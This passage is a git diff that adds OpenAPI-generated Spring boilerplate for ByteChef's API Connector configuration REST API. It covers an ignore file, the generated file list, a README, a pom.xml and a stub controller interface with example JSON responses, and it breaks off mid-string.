+# As an example, the C# client generator defines ApiClient.cs.
+# You can make changes and tell OpenAPI Generator to ignore just this file by uncommenting the following line:
+#ApiClient.cs
+
+# You can match any string of characters against a directory, file or extension with a single asterisk (*):
+#foo/*/qux
+# The above matches foo/bar/qux and foo/baz/qux, but not foo/bar/baz/qux
+
+# You can recursively match patterns against a directory, file or extension with a double asterisk (**):
+#foo/**/qux
+# This matches foo/bar/qux, foo/baz/qux, and foo/bar/baz/qux
+
+# You can also negate patterns with an exclamation (!).
+# For example, you can ignore all files in a docs folder with the file extension .md:
+#docs/*.md
+# Then explicitly reverse the ignore rule for a single file:
+#!docs/README.md
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/FILES b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/FILES
new file mode 100644
index 00000000000..01a332da72e
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/FILES
@@ -0,0 +1,11 @@
+README.md
+pom.xml
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApi.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiUtil.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorEndpointModel.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorModel.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/HttpMethodModel.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ImportOpenApiSpecificationRequestModel.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/TagModel.java
+src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/UpdateTagsRequestModel.java
+src/main/java/org/openapitools/configuration/EnumConverterConfiguration.java
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/VERSION b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/VERSION
new file mode 100644
index 00000000000..1b2d969d190
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator/VERSION
@@ -0,0 +1 @@
+7.18.0
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/README.md b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/README.md
new file mode 100644
index 00000000000..d43a1de307d
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/README.md
@@ -0,0 +1,27 @@
+
+# OpenAPI generated API stub
+
+Spring Framework stub
+
+
+## Overview
+This code was generated by the [OpenAPI Generator](https://openapi-generator.tech) project.
+By using the [OpenAPI-Spec](https://openapis.org), you can easily generate an API stub.
+This is an example of building API stub interfaces in Java using the Spring framework.
+
+The stubs generated can be used in your existing Spring-MVC or Spring-Boot application to create controller endpoints
+by adding ```@Controller``` classes that implement the interface. Eg:
+```java
+@Controller
+public class PetController implements PetApi {
+// implement all PetApi methods
+}
+```
+
+You can also use the interface to create [Spring-Cloud Feign clients](http://projects.spring.io/spring-cloud/spring-cloud.html#spring-cloud-feign-inheritance).Eg:
+```java
+@FeignClient(name="pet", url="http://petstore.swagger.io/v2")
+public interface PetClient extends PetApi {
+
+}
+```
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/pom.xml b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/pom.xml
new file mode 100644
index 00000000000..a4bb4956e5f
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/pom.xml
@@ -0,0 +1,103 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <groupId>org.openapitools</groupId>
+    <artifactId>openapi-spring</artifactId>
+    <packaging>jar</packaging>
+    <name>openapi-spring</name>
+    <version>1</version>
+    <properties>
+        <java.version>17</java.version>
+        <maven.compiler.source>${java.version}</maven.compiler.source>
+        <maven.compiler.target>${java.version}</maven.compiler.target>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <springdoc.version>2.6.0</springdoc.version>
+        <swagger-ui.version>5.17.14</swagger-ui.version>
+    </properties>
+    <parent>
+        <groupId>org.springframework.boot</groupId>
+        <artifactId>spring-boot-starter-parent</artifactId>
+        <version>3.1.3</version>
+        <relativePath/> <!-- lookup parent from repository -->
+    </parent>
+
+    <repositories>
+        <repository>
+            <id>repository.spring.milestone</id>
+            <name>Spring Milestone Repository</name>
+            <url>https://repo.spring.io/milestone</url>
+        </repository>
+    </repositories>
+    <pluginRepositories>
+        <pluginRepository>
+            <id>spring-milestones</id>
+            <url>https://repo.spring.io/milestone</url>
+        </pluginRepository>
+    </pluginRepositories>
+
+    <build>
+        <sourceDirectory>src/main/java</sourceDirectory>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-source-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <id>attach-sources</id>
+                        <goals>
+                            <goal>jar</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+    <dependencies>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-web</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.data</groupId>
+            <artifactId>spring-data-commons</artifactId>
+        </dependency>
+          <!--SpringDoc dependencies -->
+        <dependency>
+            <groupId>org.springdoc</groupId>
+            <artifactId>springdoc-openapi-starter-webmvc-ui</artifactId>
+            <version>${springdoc.version}</version>
+        </dependency>
+        <!-- @Nullable annotation -->
+        <dependency>
+            <groupId>com.google.code.findbugs</groupId>
+            <artifactId>jsr305</artifactId>
+            <version>3.0.2</version>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.dataformat</groupId>
+            <artifactId>jackson-dataformat-yaml</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.datatype</groupId>
+            <artifactId>jackson-datatype-jsr310</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.openapitools</groupId>
+            <artifactId>jackson-databind-nullable</artifactId>
+            <version>0.2.8</version>
+        </dependency>
+        <!-- Bean Validation API support -->
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-validation</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-test</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+</project>
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApi.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApi.java
new file mode 100644
index 00000000000..49a353024ea
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApi.java
@@ -0,0 +1,314 @@
+/*
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest;
+
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ApiConnectorModel;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ImportOpenApiSpecificationRequestModel;
+import io.swagger.v3.oas.annotations.ExternalDocumentation;
+import io.swagger.v3.oas.annotations.Operation;
+import io.swagger.v3.oas.annotations.Parameter;
+import io.swagger.v3.oas.annotations.Parameters;
+import io.swagger.v3.oas.annotations.media.ArraySchema;
+import io.swagger.v3.oas.annotations.media.Content;
+import io.swagger.v3.oas.annotations.media.Schema;
+import io.swagger.v3.oas.annotations.responses.ApiResponse;
+import io.swagger.v3.oas.annotations.security.SecurityRequirement;
+import io.swagger.v3.oas.annotations.tags.Tag;
+import io.swagger.v3.oas.annotations.enums.ParameterIn;
+import io.swagger.v3.oas.annotations.media.ExampleObject;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
+import org.springframework.validation.annotation.Validated;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.context.request.NativeWebRequest;
+import org.springframework.web.multipart.MultipartFile;
+
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import jakarta.annotation.Generated;
+
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Validated
+@Tag(name = "api-connector", description = "The Platform API Connector Internal API")
+public interface ApiConnectorApi {
+
+    default Optional<NativeWebRequest> getRequest() {
+        return Optional.empty();
+    }
+
+    String PATH_CREATE_API_CONNECTOR = "/api-connectors";
+    /**
+     * POST /api-connectors : Create a new API Connector
+     * Create a new API Connector.
+     *
+     * @param apiConnectorModel  (required)
+     * @return The API Connector object. (status code 200)
+     */
+    @Operation(
+        operationId = "createApiConnector",
+        summary = "Create a new API Connector",
+        description = "Create a new API Connector.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "The API Connector object.", content = {
+                @Content(mediaType = "application/json", schema = @Schema(implementation = ApiConnectorModel.class))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.POST,
+        value = ApiConnectorApi.PATH_CREATE_API_CONNECTOR,
+        produces = { "application/json" },
+        consumes = { "application/json" }
+    )
+    default ResponseEntity<ApiConnectorModel> createApiConnector(
+        @Parameter(name = "ApiConnectorModel", description = "", required = true) @Valid @RequestBody ApiConnectorModel apiConnectorModel
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "{ \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 }";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_DELETE_API_CONNECTOR = "/api-connectors/{id}";
+    /**
+     * DELETE /api-connectors/{id} : Delete an API Connector
+     * Delete an API Connector.
+     *
+     * @param id The id of the API Connector. (required)
+     * @return Successful operation. (status code 204)
+     */
+    @Operation(
+        operationId = "deleteApiConnector",
+        summary = "Delete an API Connector",
+        description = "Delete an API Connector.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "204", description = "Successful operation.")
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.DELETE,
+        value = ApiConnectorApi.PATH_DELETE_API_CONNECTOR
+    )
+    default ResponseEntity<Void> deleteApiConnector(
+        @NotNull @Parameter(name = "id", description = "The id of the API Connector.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id
+    ) {
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_ENABLE_API_CONNECTOR = "/api-connectors/{id}/enable/{enable}";
+    /**
+     * PATCH /api-connectors/{id}/enable/{enable} : Enable/disable a API Connector.
+     * Enable/disable a API Connector.
+     *
+     * @param id The id of the API Connector. (required)
+     * @param enable Enable/disable the API Connector. (required)
+     * @return Successful operation. (status code 204)
+     */
+    @Operation(
+        operationId = "enableApiConnector",
+        summary = "Enable/disable a API Connector.",
+        description = "Enable/disable a API Connector.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "204", description = "Successful operation.")
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.PATCH,
+        value = ApiConnectorApi.PATH_ENABLE_API_CONNECTOR
+    )
+    default ResponseEntity<Void> enableApiConnector(
+        @NotNull @Parameter(name = "id", description = "The id of the API Connector.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id,
+        @NotNull @Parameter(name = "enable", description = "Enable/disable the API Connector.", required = true, in = ParameterIn.PATH) @PathVariable("enable") Boolean enable
+    ) {
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_GET_API_CONNECTOR = "/api-connectors/{id}";
+    /**
+     * GET /api-connectors/{id} : Get an API Connector by id
+     * Get an API Connector by id.
+     *
+     * @param id The id of the API Connector. (required)
+     * @return The API Connector object. (status code 200)
+     */
+    @Operation(
+        operationId = "getApiConnector",
+        summary = "Get an API Connector by id",
+        description = "Get an API Connector by id.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "The API Connector object.", content = {
+                @Content(mediaType = "application/json", schema = @Schema(implementation = ApiConnectorModel.class))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.GET,
+        value = ApiConnectorApi.PATH_GET_API_CONNECTOR,
+        produces = { "application/json" }
+    )
+    default ResponseEntity<ApiConnectorModel> getApiConnector(
+        @NotNull @Parameter(name = "id", description = "The id of the API Connector.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "{ \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 }";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_GET_API_CONNECTORS = "/api-connectors";
+    /**
+     * GET /api-connectors : Get API Connectors
+     * Get API Connectors.
+     *
+     * @return A list of API Connectors. (status code 200)
+     */
+    @Operation(
+        operationId = "getApiConnectors",
+        summary = "Get API Connectors",
+        description = "Get API Connectors.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "A list of API Connectors.", content = {
+                @Content(mediaType = "application/json", array = @ArraySchema(schema = @Schema(implementation = ApiConnectorModel.class)))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.GET,
+        value = ApiConnectorApi.PATH_GET_API_CONNECTORS,
+        produces = { "application/json" }
+    )
+    default ResponseEntity<List<ApiConnectorModel>> getApiConnectors(
+        
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "[ { \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 }, { \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 } ]";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_IMPORT_OPEN_API_SPECIFICATION = "/api-connectors/import";
+    /**
+     * POST /api-connectors/import : Create API Connector by importing OpenAPI specification
+     * Create API Connector by importing OpenAPI specification.
+     *
+     * @param importOpenApiSpecificationRequestModel  (required)
+     * @return The API Connector object. (status code 200)
+     */
+    @Operation(
+        operationId = "importOpenApiSpecification",
+        summary = "Create API Connector by importing OpenAPI specification",
+        description = "Create API Connector by importing OpenAPI specification.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "The API Connector object.", content = {
+                @Content(mediaType = "application/json", schema = @Schema(implementation = ApiConnectorModel.class))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.POST,
+        value = ApiConnectorApi.PATH_IMPORT_OPEN_API_SPECIFICATION,
+        produces = { "application/json" },
+        consumes = { "application/json" }
+    )
+    default ResponseEntity<ApiConnectorModel> importOpenApiSpecification(
+        @Parameter(name = "ImportOpenApiSpecificationRequestModel", description = "", required = true) @Valid @RequestBody ImportOpenApiSpecificationRequestModel importOpenApiSpecificationRequestModel
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "{ \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 }";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_UPDATE_API_CONNECTOR = "/api-connectors/{id}";
+    /**
+     * PUT /api-connectors/{id} : Update an existing API Connector
+     * Update an existing API Connector.
+     *
+     * @param id The id of the API Connector. (required)
+     * @param apiConnectorModel  (required)
+     * @return The updated API Connector object. (status code 200)
+     */
+    @Operation(
+        operationId = "updateApiConnector",
+        summary = "Update an existing API Connector",
+        description = "Update an existing API Connector.",
+        tags = { "api-connector" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "The updated API Connector object.", content = {
+                @Content(mediaType = "application/json", schema = @Schema(implementation = ApiConnectorModel.class))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.PUT,
+        value = ApiConnectorApi.PATH_UPDATE_API_CONNECTOR,
+        produces = { "application/json" },
+        consumes = { "application/json" }
+    )
+    default ResponseEntity<ApiConnectorModel> updateApiConnector(
+        @NotNull @Parameter(name = "id", description = "The id of the API Connector.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id,
+        @Parameter(name = "ApiConnectorModel", description = "", required = true) @Valid @RequestBody ApiConnectorModel apiConnectorModel
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "{ \"endpoints\" : [ { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" }, { \"path\" : \"path\", \"__version\" : 6, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"description\" : \"description\", \"id\" : 0, \"httpMethod\" : \"DELETE\", \"lastExecutionDate\" : \"2000-01-23T04:56:07.000+00:00\" } ], \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"specification\" : \"specification\", \"title\" : \"title\", \"enabled\" : true, \"tags\" : [ { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : \"name\", \"id\" : 5 }, { \"__version\" : 5, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"name\" : 